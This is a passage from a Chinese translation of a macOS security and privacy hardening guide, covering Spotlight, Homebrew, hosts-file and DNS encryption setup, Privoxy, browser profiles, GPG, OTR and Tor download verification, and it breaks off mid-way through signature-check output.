Services](https://vilimpoc.org/blog/2014/01/15/provisioning-os-x-and-disabling-unnecessary-services/),这篇是其它一些解释。 ## Spotlight 建议 在 Spotlight 偏好设置面板和 Safari 的搜索偏好设置中都禁用 **Spotlight 建议**,来避免你的搜索查询项会发送给 Apple。 在 Spotlight 偏好设置面板中也禁用**必应 Web 搜索**来避免你的搜索查询项会发送给 Microsoft。 查看 [fix-macosx.com](https://fix-macosx.com/) 获得更详细的信息。 > 如果你已经更新到 Mac OS X Yosemite(10.10)并且在用默认的设置,每一次你开始在 Spotlight (去打开一个应用或在你的电脑中搜索一个文件)中打字,你本地的搜索词和位置会被发送给 Apple 和第三方(包括 Microsoft )。 **注意** 这个网站和它的指导说明已不再适用于 macOS Sierra — 参考[issue 164](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/164). 下载,查看并应用他们建议的补丁: ``` $ curl -O https://fix-macosx.com/fix-macosx.py $ less fix-macosx.py $ /usr/bin/python fix-macosx.py All done. Make sure to log out (and back in) for the changes to take effect. ``` 谈到 Microsoft,你可能还想看看 <https://fix10.isleaked.com/>,挺有意思的。 ## Homebrew 考虑使用 [Homebrew](http://brew.sh/) 来安装软件和更新用户工具(查看 [Apple’s great GPL purge](http://meta.ath0.com/2012/02/05/apples-great-gpl-purge/)),这样更简单些。 **注意**如果你还没安装 Xcode 或命令行工具,可以用 `xcode-select --install` 来从 Apple 下载、安装。 要[安装 Homebrew](https://github.com/Homebrew/brew/blob/master/docs/Installation.md#installation): $ mkdir homebrew && curl -L https://github.com/Homebrew/brew/tarball/master | tar xz --strip 1 -C homebrew 在你的脚本或 rc 文件中编辑 `PATH` 来使用 `~/homebrew/bin` 和 `~/homebrew/sbin`。例如,先 `echo 'PATH=$PATH:~/homebrew/sbin:~/homebrew/bin' >> .zshrc`,然后用 `chsh -s /bin/zsh` 把登录脚本改为 Z shell,打开一个新的终端窗口并运行 `brew update`。 Homebrew 使用 SSL/TLS 与 GitHub 通信并验证下载包的校验,所以它是[相当安全的](https://github.com/Homebrew/homebrew/issues/18036)。 记得定期在可信任的、安全的网络上运行 `brew update` 和 `brew upgrade` 来下载、安装软件更新。想在安装前得到关于一个包的信息,运行 `brew info <package>` 在线查看。 依据 [Homebrew 匿名汇总用户行为分析](https://github.com/Homebrew/brew/blob/master/docs/Analytics.md),Homebrew 获取匿名的汇总的用户行为分析数据并把它们报告给 Google Analytics。 你可以在你的(shell)环境或 rc 文件中设置 `export HOMEBREW_NO_ANALYTICS=1`,或使用 `brew analytics off` 来退出 Homebrew 的分析。 可能你还希望启用[额外的安全选项](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/138),例如 `HOMEBREW_NO_INSECURE_REDIRECT=1` 和 `HOMEBREW_CASK_OPTS=--require-sha`。 ## DNS #### Hosts 文件 使用 [Hosts 文件](https://en.wikipedia.org/wiki/Hosts_(file)) 来屏蔽蔽已知的恶意软件、广告或那些不想访问的域名。 用 root 用户编辑 hosts 文件,例如用 `sudo vi /etc/hosts`。hosts 文件也能用可视化的应用 [2ndalpha/gasmask](https://github.com/2ndalpha/gasmask) 管理。 要屏蔽一个域名,在 `/etc/hosts` 中加上 `0 example.com` 或 `0.0.0.0 example.com` 或 `127.0.0.1 example.com`。 网上有很多可用的域名列表,你可以直接复制过来,要确保每一行以 `0`, `0.0.0.0`, `127.0.0.1` 开始,并且 `127.0.0.1 localhost` 这一行包含在内。 对于这些主机列表,可以查看 [someonewhocares.org](http://someonewhocares.org/hosts/zero/hosts)、[l1k/osxparanoia/blob/master/hosts](https://github.com/l1k/osxparanoia/blob/master/hosts)、[StevenBlack/hosts](https://github.com/StevenBlack/hosts) 和 [gorhill/uMatrix/hosts-files.json](https://github.com/gorhill/uMatrix/blob/master/assets/umatrix/hosts-files.json)。 要添加一个新的列表: ``` $ curl "https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts" | sudo tee -a /etc/hosts $ wc -l /etc/hosts 31998 $ egrep -ve "^#|^255.255.255|^0.0.0.0|^127.0.0.0|^0 " /etc/hosts ::1 localhost fe80::1%lo0 localhost [should not return any other IP addresses] ``` 更多信息请查看 `man hosts` 和 [FreeBSD 配置文件](https://www.freebsd.org/doc/handbook/configtuning-configfiles.html)。 #### Dnsmasq 与其他特性相比,[dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) 能缓存请求,避免无资格名单中的查询数据上传和屏蔽所有的顶级域名。 另外,和 DNSCrypt 一起使用来加密输出的 DNS 流量。 如果你不想使用 DNSCrypt,再怎么滴也不要用 [ISP](http://hackercodex.com/guide/how-to-stop-isp-dns-server-hijacking) [提供](http://bcn.boulder.co.us/~neal/ietf/verisign-abuse.html) 的 DNS。两个流行的选择是 [Google DNS](https://developers.google.com/speed/public-dns/) 和 [OpenDNS](https://www.opendns.com/home-internet-security/)。 **(可选)** [DNSSEC](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions) 是一系列 DNS 的扩展,为 DNS 客户端提供 DNS 数据的来源验证、否定存在验证和数据完整性检验。所有来自 DNSSEC 保护区域的应答都是数字签名的。签名的记录通过一个信任链授权,以一系列验证过的 DNS 根区域的公钥开头。当前的根区域信任锚点可能下载下来[从 IANA 网站](https://www.iana.org/dnssec/files)。关于 DNSSEC 有很多的资源,可能最好的一个是 [dnssec.net 网站](http://www.dnssec.net)。 安装 Dnsmasq (DNSSEC 是可选的): $ brew install dnsmasq --with-dnssec $ cp /usr/local/opt/dnsmasq/dnsmasq.conf.example /usr/local/etc/dnsmasq.conf 编辑配置项: $ vim /usr/local/etc/dnsmasq.conf 检查所有的选项。这有一些推荐启用的设置: ``` # Forward queries to DNSCrypt on localhost port 5355 server=127.0.0.1#5355 # Uncomment to forward queries to Google Public DNS #server=8.8.8.8 # Never forward plain names domain-needed # Examples of blocking TLDs or subdomains address=/.onion/0.0.0.0 address=/.local/0.0.0.0 address=/.mycoolnetwork/0.0.0.0 address=/.facebook.com/0.0.0.0 # Never forward addresses in the non-routed address spaces bogus-priv # Reject private addresses from upstream nameservers stop-dns-rebind # Query servers in order strict-order # Set the size of the cache # The default is to keep 150 hostnames cache-size=8192 # Optional logging directives log-async log-dhcp log-facility=/var/log/dnsmasq.log # Uncomment to log all queries #log-queries # Uncomment to enable DNSSEC #dnssec #trust-anchor=.,19036,8,2,49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5 #trust-anchor=.,20326,8,2,E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D #dnssec-check-unsigned ``` 安装并启动程序(`sudo` 需要绑定在 [53 特权端口](https://unix.stackexchange.com/questions/16564/why-are-the-first-1024-ports-restricted-to-the-root-user-only)): $ sudo brew services start dnsmasq 要设置 Dnsmasq 为本地的 DNS 服务器,打开**系统偏好设置** > **网络**并选择“高级”(译者注:原文为 ‘active interface’,实际上‘高级’),接着切换到 **DNS** 选项卡,选择 **+** 并 添加 `127.0.0.1`, 或使用: $ sudo networksetup -setdnsservers "Wi-Fi" 127.0.0.1 确保 Dnsmasq 正确配置: ``` $ scutil --dns DNS configuration resolver #1 search domain[0] : whatever nameserver[0] : 127.0.0.1 flags : Request A records, Request AAAA records reach : Reachable, Local Address, Directly Reachable Address $ networksetup -getdnsservers "Wi-Fi" 127.0.0.1 ``` **注意** 一些 VPN 软件一链接会覆盖 DNS 设置。更多信息查看 [issue #24](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/24)。 #### 检测 DNSSEC 验证 测试已签名区域的 DNSSEC(域名系统安全扩展协议)验证是否成功: $ dig +dnssec icann.org 应答应该有`NOERROR`状态并包含`ad`。例如: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47039 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 不恰当签名的区域会导致检测 DNSSEC 验证的失败: $ dig www.dnssec-failed.org 应答应该包含`SERVFAIL`状态。例如: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 15190 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 #### dnscrypt 使用 [dnscrypt](https://dnscrypt.org/) 在可选的范围内加密 DNS 流量(译者注:原文为 ‘the provider of choice’)。 如果你更喜欢一个 GUI 应用程序,看这里 [alterstep/dnscrypt-osxclient](https://github.com/alterstep/dnscrypt-osxclient)。 从 Homebrew 安装 DNSCrypt: $ brew install dnscrypt-proxy 如果要和 Dnsmasq 一起使用,找到这个文件`homebrew.mxcl.dnscrypt-proxy.plist` ``` $ find ~/homebrew -name homebrew.mxcl.dnscrypt-proxy.plist /Users/drduh/homebrew/Cellar/dnscrypt-proxy/1.7.0/homebrew.mxcl.dnscrypt-proxy.plist ``` 将下面一行编辑进去: <string>--local-address=127.0.0.1:5355</string> 接着写: <string>/usr/local/opt/dnscrypt-proxy/sbin/dnscrypt-proxy</string> <img width="1015" alt="dnscrypt" src="https://cloud.githubusercontent.com/assets/12475110/19222914/8e6f853e-8e31-11e6-8dd6-27c33cbfaea5.png"> **添加一行本地地址来使用 DNScrypt,使用 53 以外的端口,比如 5355** 用 Homebrew 也能实现上述过程,安装 `gnu-sed` 并使用` gsed` 命令行: $ sudo gsed -i "/sbin\\/dnscrypt-proxy<\\/string>/a<string>--local-address=127.0.0.1:5355<\\/string>\n" $(find ~/homebrew -name homebrew.mxcl.dnscrypt-proxy.plist) 默认情况下,`resolvers-list` 将会指向 dnscrypt 版本特定的 resolvers 文件。当更新了 dnscrypt,这一版本将不再存在,若它存在,可能指向一个过期的文件。在 `homebrew.mxcl.dnscrypt-proxy.plist` 中把 resolvers 文件改为 `/usr/local/share` 中的符号链接的版本,能解决上述问题: <string>--resolvers-list=/usr/local/share/dnscrypt-proxy/dnscrypt-resolvers.csv</string> 还有下面这一行: <string>/usr/local/opt/dnscrypt-proxy/sbin/dnscrypt-proxy</string> 启用 DNSCrypt: $ sudo brew services start dnscrypt-proxy 确保 DNSCrypt 在运行: ``` $ sudo lsof -Pni UDP:5355 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME dnscrypt- 83 nobody 7u IPv4 0x1773f85ff9f8bbef 0t0 UDP 127.0.0.1:5355 $ ps A | grep '[d]nscrypt' 83 ?? Ss 0:00.27 /Users/drduh/homebrew/opt/dnscrypt-proxy/sbin/dnscrypt-proxy --local-address=127.0.0.1:5355 --ephemeral-keys --resolvers-list=/Users/drduh/homebrew/opt/dnscrypt-proxy/share/dnscrypt-proxy/dnscrypt-resolvers.csv --resolver-name=dnscrypt.eu-dk --user=nobody ``` > 默认情况下,dnscrypt-proxy 运行在本地 (127.0.0.1) ,53 端口,并且 "nobody" 身份使用dnscrypt.eu-dk DNSCrypt-enabled resolver。如果你想改变这些设置,你得编辑 plist 文件 (例如, --resolver-address, --provider-name, --provider-key, 等。) 通过编辑 `homebrew.mxcl.dnscrypt-proxy.plist` 也能完成 你能从一个信任的位置或使用 [public servers](https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv) 中的一个运行你自己的 [dnscrypt server](https://github.com/Cofyc/dnscrypt-wrapper)(也可以参考 [drduh/Debian-Privacy-Server-Guide#dnscrypt](https://github.com/drduh/Debian-Privacy-Server-Guide#dnscrypt)) 确保输出的 DNS 流量已加密: ``` $ sudo tcpdump -qtni en0 IP 10.8.8.8.59636 > 77.66.84.233.443: UDP, length 512 IP 77.66.84.233.443 > 10.8.8.8.59636: UDP, length 368 $ dig +short -x 77.66.84.233 resolver2.dnscrypt.eu ``` 你也可以阅读 [What is a DNS leak](https://dnsleaktest.com/what-is-a-dns-leak.html),[mDNSResponder manual page](https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man8/mDNSResponder.8.html) 和 [ipv6-test.com](http://ipv6-test.com/)。 ## Captive portal 当 macOS 连接到新的网络,它会**检测**网络,如果连接没有被接通,则会启动 Captive Portal assistant 功能。 一个攻击者能触发这一功能,无需用户交互就将一台电脑定向到有恶意软件的网站,最好禁用这个功能并用你经常用的浏览器登录 captive portals, 前提是你必须首先禁用了任何的客户端 / 代理设置。 $ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -bool false 也可以看看 [Apple OS X Lion Security: Captive Portal Hijacking Attack](https://www.securestate.com/blog/2011/10/07/apple-os-x-lion-captive-portal-hijacking-attack),[Apple's secret "wispr" request](http://blog.erratasec.com/2010/09/apples-secret-wispr-request.html),[How to disable the captive portal window in Mac OS Lion](https://web.archive.org/web/20130407200745/http://www.divertednetworks.net/apple-captiveportal.html),和 [An undocumented change to Captive Network Assistant settings in OS X 10.10 Yosemite](https://grpugh.wordpress.com/2014/10/29/an-undocumented-change-to-captive-network-assistant-settings-in-os-x-10-10-yosemite/)。 ## 证书授权 macOS 上有从像 Apple、Verisign、Thawte、Digicert 这样的营利性公司和来自中国、日本、荷兰、美国等等的政府机关安装的[超过 200](https://support.apple.com/en-us/HT202858) 个可信任的根证书。这些证书授权(CAs)能够针对任一域名处理 SSL/TLS 认证,代码签名证书等等。 想要了解更多,可以看看 [Certification Authority Trust Tracker](https://github.com/kirei/catt)、[Analysis of the HTTPS certificate ecosystem](http://conferences.sigcomm.org/imc/2013/papers/imc257-durumericAemb.pdf)(pdf) 和 [You Won’t Be Needing These Any More: On Removing Unused Certificates From Trust Stores](http://www.ifca.ai/fc14/papers/fc14_submission_100.pdf)(pdf)。 你可以在**钥匙串访问**中的**系统根证书**选项卡下检查系统根证书,或者使用 `security` 命令行工具和 `/System/Library/Keychains/SystemRootCertificates.keychain` 文件。 你可以通过钥匙串访问将它们标记为**永不信任**禁用证书授权并关闭窗口: <img width="450" alt="A certificate authority certificate" src="https://cloud.githubusercontent.com/assets/12475110/19222972/6b7aabac-8e32-11e6-8efe-5d3219575a98.png"> 被你的系统信任的被迫或妥协的证书授权产生一个假的 / 欺骗的 SSL 证书,这样的一个[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)的风险很低,但仍然是[可能的](https://en.wikipedia.org/wiki/DigiNotar#Issuance_of_fraudulent_certificates)。 ## OpenSSL 在 Sierra 中 OpenSSL 的版本是`0.9.8zh`,这[不是最新的](https://apple.stackexchange.com/questions/200582/why-is-apple-using-an-older-version-of-openssl)。它不支持 TLS 1.1 或新的版本,elliptic curve ciphers,[还有更多](https://stackoverflow.com/questions/27502215/difference-between-openssl-09-8z-and-1-0-1)。 Apple 在他们的 [Cryptographic Services 指南](https://developer.apple.com/library/mac/documentation/Security/Conceptual/cryptoservices/GeneralPurposeCrypto/GeneralPurposeCrypto.html)文档中宣布**弃用** OpenSSL。他们的版本也有补丁,可能会[带来惊喜喔](https://hynek.me/articles/apple-openssl-verification-surprises/)。 如果你要在你的 Mac 上用 OpenSSL,用 `brew install openssl` 下载并安装一个 OpenSSL 最近的版本。注意,brew 已经链接了 `/usr/bin/openssl` ,可能和内置软件冲突。查看 [issue #39](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/39)。 在 homebrew 版本和 OpenSSL 系统版本之间比较 TLS 协议和密码: ``` $ ~/homebrew/bin/openssl version; echo | ~/homebrew/bin/openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session OpenSSL 1.0.2j 26 Sep 2016 SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES128-GCM-SHA256 $ /usr/bin/openssl version; echo | /usr/bin/openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session OpenSSL 0.9.8zh 14 Jan 2016 SSL-Session: Protocol : TLSv1 Cipher : AES128-SHA ``` 阅读 [Comparison of TLS implementations](https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations),[How's My SSL](https://www.howsmyssl.com/),[Qualys SSL Labs Tools](https://www.ssllabs.com/projects/) 了解更多,查看更详细的解释和最新的漏洞测试请看 [ssl-checker.online-domain-tools.com](http://ssl-checker.online-domain-tools.com)。 ## Curl macOS 中 Curl 的版本针对 SSL/TLS 验证使用[安全传输](https://developer.apple.com/library/mac/documentation/Security/Reference/secureTransportRef/)。 如果你更愿意使用 OpenSSL,用 `brew install curl --with-openssl` 安装并通过 `brew link --force curl` 确保它是默认的。 这里推荐几个向 `~/.curlrc` 中添加的[可选项](http://curl.haxx.se/docs/manpage.html)(更多请查看 `man curl`): ``` user-agent = "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" referer = ";auto" connect-timeout = 10 progress-bar max-time = 90 verbose show-error remote-time ipv4 ``` ## Web ### 代理 考虑使用 [Privoxy](http://www.privoxy.org/) 作为本地代理来过滤网络浏览内容。 一个已签名的 privoxy 安装包能从 [silvester.org.uk](http://silvester.org.uk/privoxy/OSX/) 或 [Sourceforge](http://sourceforge.net/projects/ijbswa/files/Macintosh%20%28OS%20X%29/) 下载。签过名的包比 Homebrew 版本[更安全](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/65),而且能得到 Privoxy 项目全面的支持。 另外,用 Homebrew 安装、启动 privoxy: $ brew install privoxy $ brew services start privoxy 默认情况下,privoxy 监听本地的 8118 端口。 为你的网络接口设置系统 **http** 代理为`127.0.0.1` 和 `8118`(可以通过 **系统偏好设置 > 网络 > 高级 > 代理**): $ sudo networksetup -setwebproxy "Wi-Fi" 127.0.0.1 8118 **(可选)** 用下述方法设置系统 **https** 代理,这仍提供了域名过滤功能: $ sudo networksetup -setsecurewebproxy "Wi-Fi" 127.0.0.1 8118 确保代理设置好了: ``` $ scutil --proxy <dictionary> { ExceptionsList : <array> { 0 : *.local 1 : 169.254/16 } FTPPassive : 1 HTTPEnable : 1 HTTPPort : 8118 HTTPProxy : 127.0.0.1 } ``` 在一个浏览器里访问 <http://p.p/>,或用 Curl 访问: ``` $ ALL_PROXY=127.0.0.1:8118 curl -I http://p.p/ HTTP/1.1 200 OK Content-Length: 2401 Content-Type: text/html Cache-Control: no-cache ``` 代理已经有很多好的规则,你也能自己定义。 编辑 `~/homebrew/etc/privoxy/user.action` 用域名或正则表达式来过滤。 示例如下: ``` { +block{social networking} } www.facebook.com/(extern|plugins)/(login_status|like(box)?|activity|fan)\.php .facebook.com { +block{unwanted images} +handle-as-image } .com/ads/ /.*1x1.gif /.*fb-icon.[jpg|gif|png] /assets/social-.* /cleardot.gif /img/social.* ads.*.co.*/ ads.*.com/ { +redirect{s@http://@https://@} } .google.com .wikipedia.org code.jquery.com imgur.com ``` 验证 Privoxy 能够拦截和重定向: ``` $ ALL_PROXY=127.0.0.1:8118 curl ads.foo.com/ -IL HTTP/1.1 403 Request blocked by Privoxy Content-Type: image/gif Content-Length: 64 Cache-Control: no-cache $ ALL_PROXY=127.0.0.1:8118 curl imgur.com/ -IL HTTP/1.1 302 Local Redirect from Privoxy Location: https://imgur.com/ Content-Length: 0 Date: Sun, 09 Oct 2016 18:48:19 GMT HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ``` 你能用小猫的图片来代替广告图片,例如,通过启动一个本地的 Web 服务器然后[重定向屏蔽的请求](https://www.privoxy.org/user-manual/actions-file.html#SET-IMAGE-BLOCKER)到本地。 ### 浏览器 Web 浏览器引发最大的安全和隐私风险,因为它基本的工作是从因特网上下载和运行未信任的代码。 对于你的大部分浏览请使用 [Google Chrome](https://www.google.com/chrome/browser/desktop/)。它提供了[独立的配置文件](https://www.chromium.org/user-experience/multi-profiles),[好的沙盒处理](https://www.chromium.org/developers/design-documents/sandbox),[经常更新](http://googlechromereleases.blogspot.com/)(包括 Flash,尽管你应该禁用它 —— 原因看下面),并且[自带牛哄哄的资格证书](https://www.chromium.org/Home/chromium-security/brag-sheet)。 Chrome 也有一个很好的 [PDF 阅读器](http://0xdabbad00.com/2013/01/13/most-secure-pdf-viewer-chrome-pdf-viewer/)。 如果你不想用 Chrome,[Firefox](https://www.mozilla.org/en-US/firefox/new/) 也是一个很好的浏览器。或两个都用。看这里的讨论 [#2](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/2),[#90](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/90)。 如果用 Firefox,查看 [TheCreeper/PrivacyFox](https://github.com/TheCreeper/PrivacyFox) 里推荐的隐私偏好设置。也要确保为基于 Mozilla 的浏览器检查 [NoScript](https://noscript.net/),它允许基于白名单预先阻止脚本。 创建至少三个配置文件,一个用来浏览**可信任的**网站 (邮箱,银行),另一个为了**大部分是可信的** 网站(聚合类,新闻类站点),第三个是针对完全**无 cookie** 和**无脚本**的网站浏览。 * 一个启用了 **无 cookies 和 Javascript**(例如, 在 `chrome://settings/content`中被关掉)的配置文件就应该用来访问未信任的网站。然而,如果不启用 Javascript,很多页面根本不会加载。 * 一个有 [uMatrix](https://github.com/gorhill/uMatrix) 或 [uBlock Origin](https://github.com/gorhill/uBlock)(或两个都有)的配置文件。用这个文件来访问**大部分是可信的**网站。花时间了解防火墙扩展程序是怎么工作的。其他经常被推荐的扩展程序是 [Privacy Badger](https://www.eff.org/privacybadger)、[HTTPSEverywhere](https://www.eff.org/https-everywhere) 和 [CertPatrol](http://patrol.psyced.org/)(仅限 Firefox)。 * 一个或更多的配置文件用来满足安全和可信任的浏览需求,例如仅限于银行和邮件。 想法是分隔并划分数据,那么如果一个“会话”出现漏洞或泄露隐私并不一定会影响其它数据。 在每一个文件里,访问 `chrome://plugins/` 并禁用 **Adobe Flash Player**。如果你一定要用 Flash,访问 `chrome://settings/contents`,在插件部分,启用在**让我自行选择何时运行插件内容**(也叫做 *click-to-play*)。 花时间阅读 [Chromium 安全](https://www.chromium.org/Home/chromium-security)和 [Chromium 隐私](https://www.chromium.org/Home/chromium-privacy)。 例如你可能希望禁用 [DNS prefetching](https://www.chromium.org/developers/design-documents/dns-prefetching)(也可以阅读 [DNS Prefetching and Its Privacy Implications](https://www.usenix.org/legacy/event/leet10/tech/full_papers/Krishnan.pdf))。 你也应该知道 [WebRTC](https://en.wikipedia.org/wiki/WebRTC#Concerns),它能获取你本地或外网的(如果连到 VPN)IP 地址。这可以用诸如 [uBlock Origin](https://github.com/gorhill/uBlock/wiki/Prevent-WebRTC-from-leaking-local-IP-address) 和 [rentamob/WebRTC-Leak-Prevent](https://github.com/rentamob/WebRTC-Leak-Prevent) 这样的扩展程序禁用掉。 很多源于 Chromium 的浏览器本文是不推荐的。它们通常[不开源](http://yro.slashdot.org/comments.pl?sid=4176879&cid=44774943),[维护性差](https://plus.google.com/+JustinSchuh/posts/69qw9wZVH8z),[有很多 bug](https://code.google.com/p/google-security-research/issues/detail?id=679),而且对保护隐私有可疑的声明。阅读 [The Private Life of Chromium Browsers](http://thesimplecomputer.info/the-private-life-of-chromium-browsers)。 也不推荐 Safari。代码一团糟而且[安全问题](https://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/)[漏洞](https://vimeo.com/144872861)经常发生,并且打补丁很慢(阅读 [Hacker News 上的讨论](https://news.ycombinator.com/item?id=10150038))。安全[并不是](https://discussions.apple.com/thread/5128209) Safari 的一个优点。如果你硬要使用它,至少在偏好设置里[禁用](https://thoughtsviewsopinions.wordpress.com/2013/04/26/how-to-stop-downloaded-files-opening-automatically/)**下载后打开"安全的文件**,也要了解其他的[隐私差别](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/93)。 其他乱七八糟的浏览器,例如 [Brave](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/94),在这个指南里没有评估,所以既不推荐也不反对使用。 想浏览更多安全方面的问题,请阅读 [HowTo: Privacy & Security Conscious Browsing](https://gist.github.com/atcuno/3425484ac5cce5298932),[browserleaks.com](https://www.browserleaks.com/) 和 [EFF Panopticlick](https://panopticlick.eff.org/)。 ### 插件 **Adobe Flash**, **Oracle Java**, **Adobe Reader**, **Microsoft Silverlight**(Netflix 现在使用了 [HTML5](https://help.netflix.com/en/node/23742)) 和其他的插件有[安全风险](https://news.ycombinator.com/item?id=9901480),不应该安装。 如果它们是必须的,只在一个虚拟机里安装它们并且订阅安全通知以便确保你总能及时修补漏洞。 阅读 [Hacking Team Flash Zero-Day](http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-integrated-into-exploit-kits/)、[Java Trojan BackDoor.Flashback](https://en.wikipedia.org/wiki/Trojan_BackDoor.Flashback)、[Acrobat Reader: Security Vulnerabilities](http://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html) 和 [Angling for Silverlight Exploits](https://blogs.cisco.com/security/angling-for-silverlight-exploits)。 ## PGP/GPG PGP 是一个端对端邮件加密标准。这意味着只是选中的接收者能解密一条消息,不像通常的邮件被提供者永久阅读和保存。 **GPG** 或 **GNU Privacy Guard**,是一个符合标准的 GPL 协议项目。 **GPG** 被用来验证你下载和安装的软件签名,既可以[对称](https://en.wikipedia.org/wiki/Symmetric-key_algorithm)也可以[非对称](https://en.wikipedia.org/wiki/Public-key_cryptography)的加密文件和文本。 从 Homebrew 上用 `brew install gnupg2` 安装。 如果你更喜欢图形化的应用,下载安装 [GPG Suite](https://gpgtools.org/)。 这有几个往 `~/.gnupg/gpg.conf` 中添加的[推荐选项](https://github.com/drduh/config/blob/master/gpg.conf): ``` auto-key-locate keyserver keyserver hkps://hkps.pool.sks-keyservers.net keyserver-options no-honor-keyserver-url keyserver-options ca-cert-file=/etc/sks-keyservers.netCA.pem keyserver-options no-honor-keyserver-url keyserver-options debug keyserver-options verbose personal-cipher-preferences AES256 AES192 AES CAST5 personal-digest-preferences SHA512 SHA384 SHA256 SHA224 default-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed cert-digest-algo SHA512 s2k-digest-algo SHA512 s2k-cipher-algo AES256 charset utf-8 fixed-list-mode no-comments no-emit-version keyid-format 0xlong list-options show-uid-validity verify-options show-uid-validity with-fingerprint ``` 安装 keyservers [CA 认证](https://sks-keyservers.net/verify_tls.php): $ curl -O https://sks-keyservers.net/sks-keyservers.netCA.pem $ sudo mv sks-keyservers.netCA.pem /etc 这些设置将配置 GnuPG 在获取新密钥和想用强加密原语时使用 SSL。 请阅读 [ioerror/duraconf/configs/gnupg/gpg.conf](https://github.com/ioerror/duraconf/blob/master/configs/gnupg/gpg.conf)。你也应该花时间读读 [OpenPGP Best Practices](https://help.riseup.net/en/security/message-security/openpgp/best-practices)。 如果你没有一个密钥对,可以用 `gpg --gen-key` 创建一个。也可以阅读 [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide)。 读[在线的](https://alexcabal.com/creating-the-perfect-gpg-keypair/)[指南](https://security.stackexchange.com/questions/31594/what-is-a-good-general-purpose-gnupg-key-setup)并练习给你自己和朋友们加密解密邮件。让他们也对这篇文章感兴趣吧! ## OTR OTR 代表 **off-the-record** 并且是一个针对即时消息对话加密和授权的密码协议。 你能在任何一个已存在的 [XMPP](https://xmpp.org/about) 聊天服务中使用 OTR,甚至是 Google Hangouts(它只在使用 TLS 的用户和服务器之间加密对话)。 你和某人第一次开始一段对话,你将被要求去验证他们的公钥指纹。确保是本人亲自操作或通过其它一些安全的方式(例如 GPG 加密过的邮件)。 针对 XMPP 和其他的聊天协议,有一个流行的 macOS GUI 客户端是 [Adium](https://adium.im/)。 考虑下载一个 [beta 版本](https://beta.adium.im/),使用 OAuth2 验证,确保登录谷歌账号[更](https://adium.im/blog/2015/04/)[安全](https://trac.adium.im/ticket/16161)。 ``` Adium_1.5.11b3.dmg SHA-256: 999e1931a52dc327b3a6e8492ffa9df724a837c88ad9637a501be2e3b6710078 SHA-1: ca804389412f9aeb7971ade6812f33ac739140e6 ``` 记住对于 Adium 的 OTR 聊天[禁用登录](https://trac.adium.im/ticket/15722)。 一个好的基于控制台的 XMPP 客户端是 [profanity](http://www.profanity.im/),它能用 `brew install profanity` 安装。 想增加匿名性的话,查看 [Tor Messenger](https://blog.torproject.org/blog/tor-messenger-beta-chat-over-tor-easily),尽管它还在测试中,[Ricochet](https://ricochet.im/)(它最近接受了一个彻底的[安全审查](https://ricochet.im/files/ricochet-ncc-audit-2016-01.pdf))也是,这两个都使用 Tor 网络而不是依赖于消息服务器。 如果你想了解 OTR 是如何工作的,可以阅读这篇论文 [Off-the-Record Communication, or, Why Not To Use PGP](https://otr.cypherpunks.ca/otr-wpes.pdf) ## Tor Tor 是一个用来浏览网页的匿名代理。 从[官方 Tor 项目网站](https://www.torproject.org/projects/torbrowser.html)下载 Tor 浏览器。 **不要**尝试配置其他的浏览器或应用程序来使用 Tor,因为你可能会导致一个错误,危及你的匿名信息。 下载 `dmg` 和 `asc` 签名文件,然后验证已经被 Tor 开发者签过名的磁盘镜像: ``` $ cd Downloads $ file Tor* TorBrowser-6.0.5-osx64_en-US.dmg: bzip2 compressed data, block size = 900k TorBrowser-6.0.5-osx64_en-US.dmg.asc: PGP signature Signature (old) $ gpg Tor*asc gpg: assuming signed data in `TorBrowser-6.0.5-osx64_en-US.dmg' gpg: Signature made Fri Sep 16 07:51:52 2016 EDT using RSA key ID D40814E0 gpg: Can't check signature: public key not found $ gpg --recv 0x4E2C6E8793298290 gpg: requesting key 0x4E2C6E8793298290 from hkp server keys.gnupg.net gpg: key 0x4E2C6E8793298290: public key "Tor Browser Developers (signing key) <torbrowser@torproject.org>" imported gpg: no ultimately trusted keys found gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) $ gpg Tor*asc gpg: assuming signed data in 'TorBrowser-6.0.5-osx64_en-US.dmg' gpg: Signature made Fri Sep 16 07:51:52 2016 EDT using RSA key ID D40814E0 gpg: Good signature from "Tor Browser Developers (signing key) <torbrowser@torproject.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to 